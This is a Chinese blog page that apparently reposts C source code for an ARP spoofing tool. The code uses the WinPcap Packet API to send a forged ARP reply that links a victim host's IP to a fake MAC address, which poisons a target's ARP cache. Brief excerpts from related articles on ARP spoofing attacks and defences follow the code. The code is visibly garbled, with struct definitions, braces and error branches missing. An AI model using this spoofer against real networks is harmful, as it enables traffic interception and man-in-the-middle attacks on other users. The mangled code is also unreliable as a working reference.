ARP欺騙原始碼

2021-04-12 19:59:33 字數 2901 閱讀 6906

///

//// arp sender

////

// 2002/4/7

//#include "stdafx.h"

#include "mac.h" //getmacaddr(),

#include

#include

#define ept_ip 0x0800 /* type: ip */

#define ept_arp 0x0806 /* type: arp */

#define ept_rarp 0x8035 /* type: rarp */

#define arp_hardware 0x0001 /* dummy type for 802.3 frames */

#define arp_request 0x0001 /* arp request */

#define arp_reply 0x0002 /* arp reply */

#define max_num_adapter 10

#pragma pack(push, 1)

typedef struct ehhdr

ehhdr, *pehhdr;

typedef struct arphdr

arphdr, *parphdr;

typedef structarppacket

arppacket, *parppacket;

#pragma pack(pop)

int main(int argc, char* argv)

temp = adaptername;

temp1=adaptername;

i = 0;

while ((*temp != '/0')||(*(temp-1) != '/0'))

temp++;

}adapternum = i;

for (i = 0; i < adapternum; i++)

wprintf(l"/n%d- %s/n", i+1, adapterlist[i]);

printf("/n");

//default open the 0

lpadapter = (lpadapter) packetopenadapter((lptstr) adapterlist[0]);

//取第乙個網絡卡(假設啦)

if (!lpadapter || (lpadapter->hfile == invalid_handle_value))

lppacket = packetallocatepacket();

if(lppacket == null)

zeromemory(szpacketbuf, sizeof(szpacketbuf));

if (!getmacaddr("bbbbbbbbbbbb", macaddr))

memcpy(arppacket.ehhdr.eh_dst, macaddr, 6); //源mac位址

if (!getmacaddr("aaaaaaaaaaaa", macaddr))

memcpy(arppacket.ehhdr.eh_src, macaddr, 6); //目的mac位址。(a的位址)

arppacket.ehhdr.eh_type = htons(ept_arp);

arppacket.arphdr.arp_hrd = htons(arp_hardware);

arppacket.arphdr.arp_pro = htons(ept_ip);

arppacket.arphdr.arp_hln = 6;

arppacket.arphdr.arp_pln = 4;

arppacket.arphdr.arp_op = htons(arp_reply);

if (!getmacaddr("dddddddddddd", macaddr))

memcpy(arppacket.arphdr.arp_sha, macaddr, 6); //偽造的c的mac位址

arppacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //c的ip位址

if (!getmacaddr("aaaaaaaaaaaa", macaddr))

memcpy(arppacket.arphdr.arp_tha , macaddr, 6); //目標a的mac位址

arppacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標a的ip位址

memcpy(szpacketbuf, (char*)&arppacket, sizeof(arppacket));

packetinitpacket(lppacket, szpacketbuf, 60);

if(packetsetnumwrites(lpadapter, 2)==false)

if(packetsendpacket(lpadapter, lppacket, true)==false)

printf ("send ok!/n");

// close the adapter and exit

packetfreepacket(lppacket);

packetcloseadapter(lpadapter);

return 0;

嗅探 欺騙 ARP欺騙

二 kali上實現arp欺騙 三 防範arp欺騙 arp欺騙 arp spoofing 又稱arp毒化或arp攻擊。它是針對乙太網位址解析協議 arp 的一種攻擊技術。通過欺 域網內訪問者的閘道器mac位址,使訪問者錯以為攻擊者更改後的mac位址是閘道器的mac,導致應當發往閘道器地資料報傳送到攻擊...

ARP欺騙原理

乙太網內的嗅探sniff對於網路安全來說並不是什麼好事,雖然對於網路管理員能夠跟蹤資料報並且發現網路問題,但是如果被破壞者利用的話,就對整個網路構成嚴重的安全威脅。arp快取表假設這樣乙個網路 e cellspacing 0 bordercolordark ffffff cellpadding 2 ...

ARP欺騙種類

arp欺騙是黑客常用的攻擊手段之一,arp欺騙分為二種,一種是對 路由器arp表的欺騙 另一種是對內網pc的 閘道器欺騙。第一種arp欺騙的原理是 截獲閘道器資料。它通知 路由器一系列錯誤的內網mac位址,並按照一定的頻率不斷進行,使真實的位址資訊無法通過更新儲存在路由器中,結果路由器的所有資料只能...